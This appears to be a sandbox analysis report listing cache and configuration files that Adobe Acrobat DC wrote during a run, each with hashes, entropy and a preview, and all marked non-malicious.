Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklouPjpl/tfllXlE/HT8kn7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKxANl/eT8u7VNMa8RdWBwRd
MD5:	17125CF2FE28B8E11FDF37BCA817005D
SHA1:	BB090C7F25957EF527787B020AC743D7B62E3C50
SHA-256:	93A6388F4F5AC619390A7EBCE266E697D41FD7C9D7B8CD7C1622A2041ABCA74D
SHA-512:	6BE2EF4E1CAE47CB934D96EF1EC68A4D3ABBFFE197108C2F7A509F18894C94B67D92F14B01EC701F30837EBDF2276807491C6CBED993EDF207D3D1371D70B8FD
Malicious:	false
Preview:	p...... ..........*..c..(....................................................... ..........W....Bj..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.380

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.380

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359022710396438
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJM3g98kUwPeUkwRe9:YvXKXue5YpW7cGMbLUkee9
MD5:	8128BD25A5A7990DFC772B39F928EEFD
SHA1:	4C7211C3E355F9732E1DE8D42445C642C757200B
SHA-256:	2CD74AEF73D800FE110F6C461E0B8E9498EEBA50741D8AA2C28A785771BA8EF1
SHA-512:	B83AFEB593CDE3E044BBF7AB44D3FF724A5FCA61DE4A569E615BF17B974B9AEC5C75C2BF50657EC10342D279380F91EDFE14CC0E0D0CA6DDCEC34F3CE2CF0D4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301386345844011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfBoTfXpnrPeUkwRe9:YvXKXue5YpW7cGWTfXcUkee9
MD5:	B903F5F31E02C03C1C947B24D005A869
SHA1:	8051502A9F80582CD2E811481655C82A7E6EE2D0
SHA-256:	16E0678627DAD4CB09029AFD2FDE5EA75D1B888A846CCE455908EF5DD16286F5
SHA-512:	4DCE2A130269BF8328F2A48558C918F6B502704A0F8D8189CDC8484AEE5DFAFE1FCD67FEBF3BE136C4CAD3C3155A506232CAC7AE56A732E974276EC528F7F68C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280277198454768
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfBD2G6UpnrPeUkwRe9:YvXKXue5YpW7cGR22cUkee9
MD5:	B6E03720144461EDD223DE214C30EFF1
SHA1:	694E5C994D2E1816061272878DA0E52788CAFDF9
SHA-256:	424F0C16114891044F26DA59859B0AFA7FF51F58A073CFF677DF264DC1925196
SHA-512:	74D742BB377689AEF8AB57F55106F0F4B2F55BF9662384F8C1A68952EEBD566FED8B1F51787CA480A4E305E801F3DD0BFC27B5E4B03DD09025B737AA4C07B650
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3377632836321025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfPmwrPeUkwRe9:YvXKXue5YpW7cGH56Ukee9
MD5:	1357D1357FF320764192A7C67FC68D58
SHA1:	A9F44A1FA32E6569007F559D48D3DEF9D03A72D2
SHA-256:	6C64A67B65CB138CF5C1D04414E391CC0923E2434F3822D9A7035449FBBF612C
SHA-512:	4E4AAF4F11CCD4353C83449E05C9231D68A552B7992DEA12C76F7A92B7A05E5F8B92A4682E876D20F771C155B5D64BA34C984E4277FC6068E1892396FF078AF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691976820092509
Encrypted:	false
SSDEEP:	24:Yv6Xue6iZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:Yv8VZhgy6SAFv5Ah8cv/f
MD5:	13E226B897477B426884B19B8EC8DB6C
SHA1:	4912095CB1528B917DCD27AE250E316C7AACCA6A
SHA-256:	5FE15553CD6291E1E216A346F4BD3125DB31ACB4A570426BCFCC1C2AE4A94EB2
SHA-512:	F0C6A522FD015AFB7F8184705D58AEA575CEB52CBFFA9E2CDFD90E2A3F7E2AF3F85D303B52FC4A377A107A7ABB283DAE271866981288001FECAA6FF3376ED826
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28393955668773
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJf8dPeUkwRe9:YvXKXue5YpW7cGU8Ukee9
MD5:	F0AEFCE99FC360152915BCB4E1031E02
SHA1:	5B3ECCB04E1164633DBD224FEB05776828DC0B7A
SHA-256:	C2582E242D24186160DCBA32F0FE3B8F65B8022A0079B9F0A1CEDB35BDFBF99D
SHA-512:	D331878683B5B987500C8D84ED432627E152F0F6C95BE8B6CEC132A4E36659A382D4A616D30B3968835BC613C9FB1E3857388B86F82FFA3EC17A5775DD28E69E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.285677757437055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfQ1rPeUkwRe9:YvXKXue5YpW7cGY16Ukee9
MD5:	987AEF833FCF0891C1EF241B67F0CF8B
SHA1:	F48C2262348D1D8AC2022E087503681131D8D53E
SHA-256:	331F9C53CEF8E00C7824E2ABD0EDAB6668BBC201CE50A76E49973123CA7EABB1
SHA-512:	523219AFFE55748E15FC8821D3209869AC644AE48304876E02C805F9284B253BC9F4141F8A4CF436669078B44F83CC54466A1CA0116D399B277ECC2E850D02AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302564862369229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfFldPeUkwRe9:YvXKXue5YpW7cGz8Ukee9
MD5:	82FDBA99BE558DE6C207F48349336173
SHA1:	8BD6F766EAF5E55FD29D1825401EE8BC5170DDE2
SHA-256:	FE4B4A0C2DA7ACDCD7127E5FDADE4257E2EE467CCFAA9A19AEA446775BE01698
SHA-512:	86AA2092ED67E12A6966B865DD03786A7D4250F5C402865F361A506BE9ED3F67085FEEDC824B7384CAA64BABC6839770C712C7580EDCB40FF52DF6F246878B92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310991962187918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfzdPeUkwRe9:YvXKXue5YpW7cGb8Ukee9
MD5:	19C58F63F7A46C2753E283AF8FE1C412
SHA1:	03E872531CB3A596AF9C3E432AA2A90780E9C2B1
SHA-256:	140F74C41A40607637CE89A9E3CC1F08A4A29686FA4CCDADA47B311A1A04BF5A
SHA-512:	6DDCE2FDFB05B0BDA897A2FF51920DE04EAD14391B40FB3F2DD82B434DB4C915DD1DBB1EE0D4AF79A5F223001F2CD8EF5E0775E91C07429D9C0FC8AE4841C368
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2914618988979925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfYdPeUkwRe9:YvXKXue5YpW7cGg8Ukee9
MD5:	29692562DBC7BCC66797C947F6F462B3
SHA1:	623120121B97FC343AFD0C49E851366DC471F7C1
SHA-256:	764DB31A92471D6D385A6C063FF3AE30EBC10F5D197E64ECCE95CC203973413D
SHA-512:	4B7B05A186EF23DC8D992C5F6093C14241F1D0004511E1EA360A69816003D9C9400E1294795A972439A5291B5573F51AA06B65CC04261C900C8F83578F9BACF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277044251506452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJf+dPeUkwRe9:YvXKXue5YpW7cG28Ukee9
MD5:	D2647D28A9F8C2B0066D8D509A76F62A
SHA1:	0A0E831389FAE45606F0C28114F43C5C5FC5AC6A
SHA-256:	130F0C7289F1754FD598377CC68FCEFA5FB598FDD7B052A4928910BE6CE983E9
SHA-512:	7929095457E7357642C2E077A1AE357A0A73F3CE47A41D0B63B523041A209ED0841817CFF2A609D254D1B6F73ECE41EB36C38200DA180E0113A813077554219B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275067677679087
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfbPtdPeUkwRe9:YvXKXue5YpW7cGDV8Ukee9
MD5:	C1FD6515B6FFA3E904B5EBA593FB2ABE
SHA1:	89103C45FEED0D426662C5A1C1B4A04BA9E81409
SHA-256:	991401E5525296F7585BB4545370D69A44DAD13F6FC51F7C07CB0E94D94A2A8E
SHA-512:	A27B60F2EBA3C2A40C09667FCF4B164E56D65BFD0FD7BB929E3E9FF945C9E7C97E946B689578B4F72048706A7424A576E947C5020D12A3306047D2DDB05D88E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.276622716892828
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJf21rPeUkwRe9:YvXKXue5YpW7cG+16Ukee9
MD5:	283D4E217BFDDFE5C559E545A1584D0E
SHA1:	184D6D7BB9689984C5297490F5E5E4576EEF1E83
SHA-256:	680E29CE4872CB0CFF8626D93692DCD016BB90489FD6586C8F495173B39E52EF
SHA-512:	D8F1FA8319958651717D991CA3532F77D23BF1F2EE08FA0A80A3153EC373628E461AA969F1C176F766BD7FA703CD7A994F996C8B24520E507352FD3A958F12C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663181744854974
Encrypted:	false
SSDEEP:	24:Yv6Xue6ipamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:Yv8V1BgkDMUJUAh8cvMf
MD5:	D79B4BE68A49DDB98F4E5A959531DBCF
SHA1:	98E5D20381B73229DC86E8D8E305F7D471E559FE
SHA-256:	727428C0B499880B3FF25EC4FC5F6B5C41C76671E5A52E6140BB4662CDC592B7
SHA-512:	3E2F7A90D70B2F46D85A0ACB9480229D55F999D1CBC8E0543506AAD18BE7586B553EE8A0CEF4422FBBEC7C2879341403B8331411FC5B94804C90110466085AD8
Malicious:	false
